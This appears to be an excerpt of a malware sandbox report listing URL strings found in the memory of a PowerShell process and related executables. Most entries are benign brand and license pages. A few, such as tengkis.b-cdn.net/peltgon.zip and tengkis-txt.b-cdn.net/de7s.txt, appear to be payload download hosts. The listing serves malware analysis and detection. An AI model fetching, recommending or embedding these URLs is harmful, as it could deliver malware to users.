Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D2C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remixicon.com/=https://github.com/Remix-Design/RemixIcon/blob/master/License.
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://simpleicons.org/Dhttps://github.com/simple-icons/simple-icons/blob/develop/LICENSE.md
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://simpleicons.org/Dhttps://github.com/simple-icons/simple-icons/blob/develop/LICENSE.md0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/sumologic.com/sumo-logic-brand/home
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://slack.com/brand-guidelines
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://slack.com/brand-guidelines7
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://slides.com/about
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://slides.com/about8
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snyk.io/press-kit
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snyk.io/press-kitQ
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://socket.io
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sonarcloud.io/about
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sonarcloud.io/about0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://songoda.com/branding
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://songoda.com/brandingD
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://soundcloud.com/press
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://soundcloud.com/pressC
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourceforge.net/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourceforge.net/Y
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spdx.org/Resources
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://speakerdeck.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://speakerdeck.com/$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spectrum.chat
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spinrilla.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spinrilla.com$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spond.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spond.com/e
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spring.io/projects
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spring.io/trademarks
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://squareup.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://squareup.com/.
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.design/brand/logo/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.design/brand/logo/?
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.design/brand/logo/D
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackshare.io/branding
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stadia.google.com/home
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://staffbase.com/en/about/press-assets/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://staffbase.com/en/about/press-assets/&
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://starbucks.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://starbucks.com/7
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://starship.rs/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://statamic.com/branding
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://statamic.com/brandingA
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://statuspal.io/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://statuspal.io/A
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamdb.info/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamdb.info/0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steem.com/brand/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steemit.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steemit.com/0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stimulus.hotwire.dev/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stimulus.hotwire.dev/-
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://strapi.io/newsroom
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://strapi.io/newsroomW
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stripe.com/about/resources
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stripe.com/about/resources3
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://suckless.org
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://suckless.orgM
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.siasky.net/key-concepts/skynet-brand-guidelines
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.siasky.net/key-concepts/skynet-brand-guidelines7
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swagger.io/swagger/media/assets/images/swagger_logo.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swagger.io/swagger/media/assets/images/swagger_logo.svg.
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swiperjs.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swiperjs.com/J
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://symfony.com/logo
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://symfony.com/logo$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://symphony.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://symphony.com/~
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tails.boum.org/contribute/how/promote/material/logo/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tails.boum.org/contribute/how/promote/material/logo/0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tailwindcss.com/brand
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tailwindcss.com/brand)
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tapas.io/site/about#media
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tapas.io/site/about#media$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasmota.github.io/docs/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasmota.github.io/docs/L
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://techblog.steelseries.com/ux-guide/index.html
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://techblog.steelseries.com/ux-guide/index.html$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://teespring.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://telegra.ph/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org#
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1BC11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tengkis-txt.b-cdn.net
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1BC11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1BC0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tengkis-txt.b-cdn.net/de7s.txt
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1BC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tengkis.b-cdn.net
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1BC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tengkis.b-cdn.net/peltgon.zip
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://teratail.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://teratail.com//
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://testing-library.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://textpattern.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://textpattern.com/J
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://theconversation.com/republishing-guidelines
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://theconversation.com/republishing-guidelines1
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themighty.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themighty.com/:
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://threema.ch/en/press
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tidal.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/9/90/X.Org_Logo.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/9/90/X.Org_Logo.svg8
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vaadin.com/icons:https://github.com/vaadin/vaadin-icons/blob/master/LICENSE
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vaadin.com/icons:https://github.com/vaadin/vaadin-icons/blob/master/LICENSE0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wish.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wistia.com/about/assets
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wistia.com/about/assets0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wizzair.com/en-gb/information-and-services/about-us/press-office/logos
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wizzair.com/en-gb/information-and-services/about-us/press-office/logosH
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://woocommerce.com/style-guide/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://woocommerce.com/style-guide/1
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://woocommerce.com/style-guide/6
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wordpress.org/about/logos
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wordpress.org/about/logos-
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wp-rocket.me/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wp-rocket.me/%
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wpengine.com/brand-assets/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wpengine.com/brand-assets/%
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://write.as/brand
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://write.as/brandF
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.alibabagroup.com/en/ir/reports
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.alibabagroup.com/en/ir/reports-
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.apachefriends.org/en/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.apachefriends.org/en/.
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.atlassian.com/company/news/press-kit
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.atlassian.com/company/news/press-kit%
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.audiokinetic.com/resources/credits/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1908939923.0000000002EEB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132537306.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hashicorp.com/brand
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.irishtimes.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.jetbrains.com/company/brand/logos/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.jetbrains.com/company/brand/logos/=
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.lenovo.com/us/en/thinkpad
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.lenovo.com/us/en/thinkpadn
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mi.com/global
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mi.com/global#
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.models-resource.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.models-resource.com/K
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.s-ings.com/typicons/Hhttps://github.com/stephenhutchings/typicons.font/blob/master/LICEN
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.skillshare.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.skillshare.comJ
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.skyliner.io/help
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.skyliner.io/helpL
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.skysports.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.slickpic.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.slickpic.com/%
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.slideshare.net/ss/creators/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smart.com/gb/en/models/eq-fortwo-coupe
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smart.com/gb/en/models/eq-fortwo-coupe7
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smartthings.com/press-kit
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smartthings.com/press-kitR
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smashingmagazine.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smashingmagazine.com/G
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snapchat.com/brand-guidelines
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snapchat.com/brand-guidelines=
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snowflake.com/brand-guidelines/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snowflake.com/brand-guidelines/(
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snowpack.dev/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snowpack.dev/$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sogou.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sogou.com/G
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sololearn.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarlint.org/logos/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarlint.org/logos/0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarqube.org/logos/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarqube.org/logos/4
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarsource.com/logos/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarsource.com/logos/:
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.songkick.com/style-guide/design
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonos.com/en-gb/home
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonos.com/en-gb/home-
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sounds-resource.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.southwest.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.southwest.com/%
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spacex.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkasse.de/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkasse.de/4
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkfun.com/brand_assets
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkfun.com/brand_assets4
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkpost.com/press-kit/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkpost.com/press-kit/%
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.speedtest.net/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.speedtest.net/Z
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.splunk.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spotlight.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spotlight.com/-
